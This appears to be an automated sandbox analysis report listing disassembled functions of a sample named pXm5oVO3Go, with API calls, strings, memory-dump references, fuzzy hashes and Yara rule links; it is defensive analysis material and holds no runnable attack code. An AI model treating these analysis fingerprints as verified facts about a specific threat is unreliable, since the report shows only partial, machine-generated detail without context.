Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: _wprintf
String ID: [DATA_IN]%s$[DATA_OUT]%s$[HEADER_IN]%s$[HEADER_OUT]%s
API String ID: 2738768116-1258772499
Opcode ID: 625cc3fe3b23ffa21748f98c8a39db130a157506833062a54fe6aaef8372a764
Instruction ID: 36728138fc2062ef771174b41612b96174258983edbb5e794f746bbfc9dd3fb0
Opcode Fuzzy Hash: 625cc3fe3b23ffa21748f98c8a39db130a157506833062a54fe6aaef8372a764
Instruction Fuzzy Hash: 98F09072A502486BAB50EAE5AC4283B339AD695714F148C29FA08C7381F026E93092A7

Function 0364AAB4 Relevance: 13.6, APIs: 9, Instructions: 117memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(03642558,100200B0,?,00000000,00000000,?,036416AA,?,00000004,03642558,?), ref: 0364AAFB
MultiByteToWideChar.KERNEL32(00000000,00000000,03642558,00000001,00000000,00000000,?,036416AA,?,00000004,03642558,?), ref: 0364AB11
GetLastError.KERNEL32(?,036416AA,?,00000004,03642558,?), ref: 0364AB20
MultiByteToWideChar.KERNEL32(00000000,00000000,03642558,00000001,00000000,00000000,?,?,036416AA,?,00000004,03642558), ref: 0364ABAF
_free.LIBCMT ref: 0364ABC2
GetLastError.KERNEL32(?,?,036416AA,?,00000004,03642558), ref: 0364ABCA
SysAllocString.OLEAUT32(00000000), ref: 0364ABE5
_free.LIBCMT ref: 0364ABF6

Memory Dump Source

Source File: 00000000.00000002.2609372866.0000000003640000.00000040.00001000.00020000.00000000.sdmp, Offset: 03640000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3640000_pXm5oVO3Go.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide_free$AllocStringlstrlen
String ID:
API String ID: 2233872252-0
Opcode ID: ddbe7017c1df06839c6bc5b3ff729aa7816e3d3f023352de6ff8d7f0f77a7cd0
Instruction ID: 8795671640f930c7c99fba26fe2f8b3863fc5f1aaa022314a0bb1bb63f5baed2
Opcode Fuzzy Hash: ddbe7017c1df06839c6bc5b3ff729aa7816e3d3f023352de6ff8d7f0f77a7cd0
Instruction Fuzzy Hash: E341D5B5D81319BBDB10DFE8CE44BAE7AB9EB49750F10412DF805EB280D678D90487A5

Function 1000AAB0 Relevance: 13.6, APIs: 9, Instructions: 117memorystringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(10002554,100200B0,?,00000000,00000000,?,100016A6,?,00000004,10002554,?), ref: 1000AAF7
MultiByteToWideChar.KERNEL32(00000000,00000000,10002554,00000001,00000000,00000000,?,100016A6,?,00000004,10002554,?), ref: 1000AB0D
GetLastError.KERNEL32(?,100016A6,?,00000004,10002554,?), ref: 1000AB1C
MultiByteToWideChar.KERNEL32(00000000,00000000,10002554,00000001,00000000,00000000,?,?,100016A6,?,00000004,10002554), ref: 1000ABAB
_free.LIBCMT ref: 1000ABBE
GetLastError.KERNEL32(?,?,100016A6,?,00000004,10002554), ref: 1000ABC6
SysAllocString.OLEAUT32(00000000), ref: 1000ABE1
_free.LIBCMT ref: 1000ABF2

Memory Dump Source

Source File: 00000000.00000002.2609581253.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10001000_pXm5oVO3Go.jbxd

Similarity

API ID: ByteCharErrorLastMultiWide_free$AllocStringlstrlen
String ID:
API String ID: 2233872252-0
Opcode ID: c525a2dc86abb622627aec347f05c5c100962417d582995e3ed933296b725680
Instruction ID: 7a9aabcc70d3fdf9ab92ec66efeb58e3645fa49096dc95b045ab2c4300f8d26f
Opcode Fuzzy Hash: c525a2dc86abb622627aec347f05c5c100962417d582995e3ed933296b725680
Instruction Fuzzy Hash: 1541F372D00319ABF710DF648C45F9F7BA9EB497E0F118229F805E7286D774AA8087A1

Function 0054DA33 Relevance: 13.6, APIs: 9, Instructions: 96memoryCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 0054DA3A
EnterCriticalSection.KERNEL32(?,00000010,0054DCDB,?,00000000,?,00000004,00544579,005381E4,005382F8,0040E0F1,?,?,?,?,?), ref: 0054DA4B
TlsGetValue.KERNEL32(?,?,00000000,?,00000004,00544579,005381E4,005382F8,0040E0F1,?,?,?,?,?,0067F1C8,000000FF), ref: 0054DA69
LocalAlloc.KERNEL32(00000000,00000000,00000000,00000010,?,?,00000000,?,00000004,00544579,005381E4,005382F8,0040E0F1), ref: 0054DA9D
LeaveCriticalSection.KERNEL32(00406FA0,?,?,00000000,?,00000004,00544579,005381E4,005382F8,0040E0F1,?,?,?,?,?,0067F1C8), ref: 0054DB09
_memset.LIBCMT ref: 0054DB28
TlsSetValue.KERNEL32(?,00000000,ED2F953D), ref: 0054DB39
LeaveCriticalSection.KERNEL32(?,?,00000000,?,00000004,00544579,005381E4,005382F8,0040E0F1,?,?,?,?,?,0067F1C8,000000FF), ref: 0054DB5A

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: CriticalSection$LeaveValue$AllocEnterH_prolog3_catchLocal_memset
String ID:
API String ID: 1891723912-0
Opcode ID: ee4e0fa6d0bc6837883920f8cdcf8fb05867f79d7c93fcca47aca23e43471762
Instruction ID: a3a7765b4c26124d50065a281d03f13c18ddca9ed2149b58fcdfd7fe28945801
Opcode Fuzzy Hash: ee4e0fa6d0bc6837883920f8cdcf8fb05867f79d7c93fcca47aca23e43471762
Instruction Fuzzy Hash: 94316D71500606EFCB24AF60D889DAABFB6FF44318B21C62DF55697650DB30AE50CFA0

Function 00403470 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 171COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(0073EFB8,ED2F953D), ref: 004034B1

Part of subcall function 00403990: __time64.LIBCMT ref: 004039B4
Part of subcall function 00403990: __localtime64_s.LIBCMT ref: 004039C7
Part of subcall function 00403990: _memset.LIBCMT ref: 004039E2

Part of subcall function 00405520: std::_Xinvalid_argument.LIBCPMT ref: 00405539
Part of subcall function 00405520: std::_Xinvalid_argument.LIBCPMT ref: 0040555A
Part of subcall function 00405520: std::_Xinvalid_argument.LIBCPMT ref: 00405578
Part of subcall function 00405520: _memmove.LIBCMT ref: 004055EF

std::_Lockit::_Lockit.LIBCPMT ref: 00403570
std::_Lockit::_Lockit.LIBCPMT ref: 004035B5

Strings

log\JumpLogin-, xrefs: 004034CB
--------------------------------------, xrefs: 00403602
Open the log file, xrefs: 00403614
.log, xrefs: 0040351A

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: std::_$Xinvalid_argument$LockitLockit::_$CriticalInitializeSection__localtime64_s__time64_memmove_memset
String ID: --------------------------------------$.log$Open the log file$log\JumpLogin-
API String ID: 1179081484-4002143626
Opcode ID: 40f8ac4b9d59971e42a7fe8ea193fecb976f05dea2bc2a1b2d33739cbc19fb5b
Instruction ID: dd81093e7cbe42572f97faa9210dcb4426a2d0b84738156c4183c5335d05110a
Opcode Fuzzy Hash: 40f8ac4b9d59971e42a7fe8ea193fecb976f05dea2bc2a1b2d33739cbc19fb5b
Instruction Fuzzy Hash: 06510571E00208DBCB10DFA9CC81A9EFBB5EF45705F14852AE915BB3C5DB789A04CB99

Function 00425B60 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 137windowCOMMON

Download Yara Rule

APIs

GdipCreateStringFormat.GDIPLUS(00000000,00000000,00413709,ED2F953D,?,004135B5,00000002,000000FF,?,00422084), ref: 00425BCE

Part of subcall function 005373CC: _malloc.LIBCMT ref: 005373EA

GdipCreateSolidFill.GDIPLUS(FF000000,00000002), ref: 00425C2D
GdipSetStringFormatAlign.GDIPLUS(10C083FF,00000001), ref: 00425C9B
GdipSetStringFormatLineAlign.GDIPLUS(10C083FF,00000001), ref: 00425CB4
SendMessageW.USER32(0073EFF4,00000403,00000000,00000064), ref: 00425CF1
SendMessageW.USER32(0073EFF4,00000418,00000000,000000C8), ref: 00425D06

Part of subcall function 00422E40: GdipCreateFontFamilyFromName.GDIPLUS(Arial,00000000,?,004136E9), ref: 00422E5B
Part of subcall function 00422E40: GdipGetGenericFontFamilySansSerif.GDIPLUS(0073EDC0), ref: 00422E8B
Part of subcall function 00422E40: GdipDeleteFontFamily.GDIPLUS(00000000), ref: 00422EAA

Part of subcall function 00426490: _memmove.LIBCMT ref: 004264BC

Strings

Arial, xrefs: 00425BF0

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Gdip$CreateFamilyFontFormatString$AlignMessageSend$DeleteFillFromGenericLineNameSansSerifSolid_malloc_memmove
String ID: Arial
API String ID: 3100294967-493054409
Opcode ID: 7a43d62ad1391cc9c7be90a0dacc248291a14a9adb854417a3fca158cac77db2
Instruction ID: 7f92a7e877333cee7bf1d2e5f056fe5c7ee1866b486c49faf119884e683556c2
Opcode Fuzzy Hash: 7a43d62ad1391cc9c7be90a0dacc248291a14a9adb854417a3fca158cac77db2
Instruction Fuzzy Hash: E0518EB1600301AFEB04DF65DC85BAA7BF8BB44700F14867AE909DF386EB74A504CB64

Function 00539561 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 117threadwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 005394AF: GetParent.USER32(?), ref: 00539503
Part of subcall function 005394AF: GetLastActivePopup.USER32(?), ref: 00539514
Part of subcall function 005394AF: IsWindowEnabled.USER32(?), ref: 00539528
Part of subcall function 005394AF: EnableWindow.USER32(?,00000000), ref: 0053953B

EnableWindow.USER32(?,00000001), ref: 005395AE
GetWindowThreadProcessId.USER32(?,?), ref: 005395C2
GetCurrentProcessId.KERNEL32(?,?), ref: 005395CC
SendMessageW.USER32(?,00000376,00000000,00000000), ref: 005395E4
GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?), ref: 00539660
EnableWindow.USER32(00000000,00000001), ref: 005396A7

Strings

8@, xrefs: 00539563

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: Window$Enable$Process$ActiveCurrentEnabledFileLastMessageModuleNameParentPopupSendThread
String ID: 8@
API String ID: 1877664794-819625340
Opcode ID: 7847638c9822e494ba1cb4b1276f38bdd4c01cb8e1f561ec198642636f7e72e6
Instruction ID: 92bc13bd50d1c053b23345177d6c3dab201e50520268075aec8d8323af4d1383
Opcode Fuzzy Hash: 7847638c9822e494ba1cb4b1276f38bdd4c01cb8e1f561ec198642636f7e72e6
Instruction Fuzzy Hash: A741C5B2A01319AFDB219F64DC89BAABBB9FF44310F140599F415E7191D7B0CE808FA0

Function 00595EDA Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 113COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00595EE1

Part of subcall function 0054B1CD: __EH_prolog3.LIBCMT ref: 0054B1D4

Part of subcall function 00613C22: SetRectEmpty.USER32(?), ref: 00613C52

SetRectEmpty.USER32(?), ref: 00596029
SetRectEmpty.USER32(?), ref: 00596038
SetRectEmpty.USER32(?), ref: 00596041

Strings

True, xrefs: 0059604C
False, xrefs: 00596098
<m, xrefs: 00595F6A

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: EmptyRect$H_prolog3
String ID: <m$False$True
API String ID: 3752103406-2469294776
Opcode ID: 496e7b7b7f0c9143ee1a9ce9eb518cab69d7894321b22806830f331f95985234
Instruction ID: df13e06cf9fb51d7e9569a7b0836c1fca328eb2faebcd8c1f3dc25fb0e9e690d
Opcode Fuzzy Hash: 496e7b7b7f0c9143ee1a9ce9eb518cab69d7894321b22806830f331f95985234
Instruction Fuzzy Hash: 92519CB0801B418FC362EF7AC5857DAFBE8BFA5304F10595FD0AE962A1CBB42644CB15

Function 00402440 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 105COMMON

Download Yara Rule

APIs

Part of subcall function 005373CC: _malloc.LIBCMT ref: 005373EA

std::locale::_Init.LIBCPMT ref: 004024B4
std::_Lockit::_Lockit.LIBCPMT ref: 004024BD
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 004024E9
std::_Xinvalid_argument.LIBCPMT ref: 00402532
std::locale::_Locimp::_Makeloc.LIBCPMT ref: 00402541

Part of subcall function 00403BF0: _free.LIBCMT ref: 00403C05
Part of subcall function 00403BF0: _malloc.LIBCMT ref: 00403C2D
Part of subcall function 00403BF0: _memmove.LIBCMT ref: 00403C3E

Strings

chs, xrefs: 004024DA
bad locale name, xrefs: 0040252D

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: std::_$_mallocstd::locale::_$InitLocimp::_Locinfo::_Locinfo_ctorLockitLockit::_MakelocXinvalid_argument_free_memmove
String ID: bad locale name$chs
API String ID: 2402735708-3828856240
Opcode ID: 2ea933c890a4a8e7387b443e98d64d2454118bce2f2a9462a5fc9814065aff5e
Instruction ID: 0ba4dabfef8362b40dd62f4289b6948131dcb20ba18949e055e96b8ca92e1267
Opcode Fuzzy Hash: 2ea933c890a4a8e7387b443e98d64d2454118bce2f2a9462a5fc9814065aff5e
Instruction Fuzzy Hash: EE4125B1C04288AECB10DFA8C981AAEFFB6AF25310F54457EE541A33C1D3795A0CC759

Function 0041DF70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0041DF9D
std::_Lockit::_Lockit.LIBCPMT ref: 0041DFC0
std::bad_exception::bad_exception.LIBCMT ref: 0041E044
__CxxThrowException@8.LIBCMT ref: 0041E052
std::_Lockit::_Lockit.LIBCPMT ref: 0041E065
std::locale::facet::_Facet_Register.LIBCPMT ref: 0041E07F

Strings

bad cast, xrefs: 0041E03C

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2427920155-3145022300
Opcode ID: b275e407ffd772c85200b397ff873c011073643755b96022c06a5570a7028a9e
Instruction ID: 78e5d98d9483bb3070d4137d2c4f27e99fadb8ccf3661470edd8c3973bd89120
Opcode Fuzzy Hash: b275e407ffd772c85200b397ff873c011073643755b96022c06a5570a7028a9e
Instruction Fuzzy Hash: 8931F075800214CFDB14DF55D882BEE7BA4FB04321F04861EEC12A72D1CB79AE45CB99

Function 006620C8 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 006620CF
std::_Lockit::_Lockit.LIBCPMT ref: 006620D9
int.LIBCPMT ref: 006620F0

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

std::bad_exception::bad_exception.LIBCMT ref: 00662127
__CxxThrowException@8.LIBCMT ref: 00662135
std::locale::facet::_Facet_Register.LIBCPMT ref: 0066214B

Strings

bad cast, xrefs: 0066211F

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2227438316-3145022300
Opcode ID: 68625419d1e46fb87a2bd96cbae347e6e82734de59dab652bb2c3044e45e871a
Instruction ID: dbae5003dd7b1a917c6ba333b8899da3fed0e2df6253afcbe04d7b6e044a327d
Opcode Fuzzy Hash: 68625419d1e46fb87a2bd96cbae347e6e82734de59dab652bb2c3044e45e871a
Instruction Fuzzy Hash: 4F01A13190021A9BCB05EBA0D852AFDB727AF41721F14011DFA117B2D1DF789A458799

Function 006612B3 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 006612BA
std::_Lockit::_Lockit.LIBCPMT ref: 006612C4
int.LIBCPMT ref: 006612DB

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

std::bad_exception::bad_exception.LIBCMT ref: 00661312
__CxxThrowException@8.LIBCMT ref: 00661320
std::locale::facet::_Facet_Register.LIBCPMT ref: 00661336

Strings

bad cast, xrefs: 0066130A

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2227438316-3145022300
Opcode ID: 478dfa9bf221e19db388ce8db3ce22621b59aa958bb283efbc7e3a7c4fa525ee
Instruction ID: 8f0eb705d629243e1d61d080c535eb92b12c8b0dcfae7b8d4eccacccd604cadb
Opcode Fuzzy Hash: 478dfa9bf221e19db388ce8db3ce22621b59aa958bb283efbc7e3a7c4fa525ee
Instruction Fuzzy Hash: 0201AD329002599BCB05EBB0C852AFE7727AF81720F24012DF9117B2D1DF78AE458B99

Function 0066C4E5 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0066C4EC
std::_Lockit::_Lockit.LIBCPMT ref: 0066C4F6
int.LIBCPMT ref: 0066C50D

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

std::bad_exception::bad_exception.LIBCMT ref: 0066C544
__CxxThrowException@8.LIBCMT ref: 0066C552
std::locale::facet::_Facet_Register.LIBCPMT ref: 0066C568

Strings

bad cast, xrefs: 0066C53C

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2227438316-3145022300
Opcode ID: 115021aecaad854839767955b3c3cc940e4c98a18ee708eb2b21f54e70f46e1d
Instruction ID: 19471a1755b04b480c34b96f97f8b0ff5e08ee88c414c319f28c5d6c97c327ab
Opcode Fuzzy Hash: 115021aecaad854839767955b3c3cc940e4c98a18ee708eb2b21f54e70f46e1d
Instruction Fuzzy Hash: 6201C0319006099BCB05EBB0DC52AFE7737AF80720F24051DF9117B2D1DF78AA459799

Function 00661EF1 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00661EF8
std::_Lockit::_Lockit.LIBCPMT ref: 00661F02
int.LIBCPMT ref: 00661F19

Part of subcall function 00402340: std::_Lockit::_Lockit.LIBCPMT ref: 00402351

std::bad_exception::bad_exception.LIBCMT ref: 00661F50
__CxxThrowException@8.LIBCMT ref: 00661F5E
std::locale::facet::_Facet_Register.LIBCPMT ref: 00661F74

Strings

bad cast, xrefs: 00661F48

Memory Dump Source

Source File: 00000000.00000002.2607518247.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2607494184.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607770311.0000000000684000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607852468.0000000000724000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607881728.000000000072E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607918058.0000000000735000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607945972.000000000073A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2607972734.0000000000741000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_pXm5oVO3Go.jbxd

Similarity

API ID: LockitLockit::_std::_$Exception@8Facet_H_prolog3RegisterThrowstd::bad_exception::bad_exceptionstd::locale::facet::_
String ID: bad cast
API String ID: 2227438316-3145022300
Opcode ID: 030c3ac3221abdecf229f796243e43403722d1f972e7e3d8899abf85c64e4ff3
Instruction ID: 1db65516f59b5ce27a9d3c96ffc7851b257e255ef8e8e758242c989982d1c801
Opcode Fuzzy Hash: 030c3ac3221abdecf229f796243e43403722d1f972e7e3d8899abf85c64e4ff3
Instruction Fuzzy Hash: 2D01AD319002099BCB05EBB0D842AFE7767AF81721F28051DF9117B2E1CF78AA059799

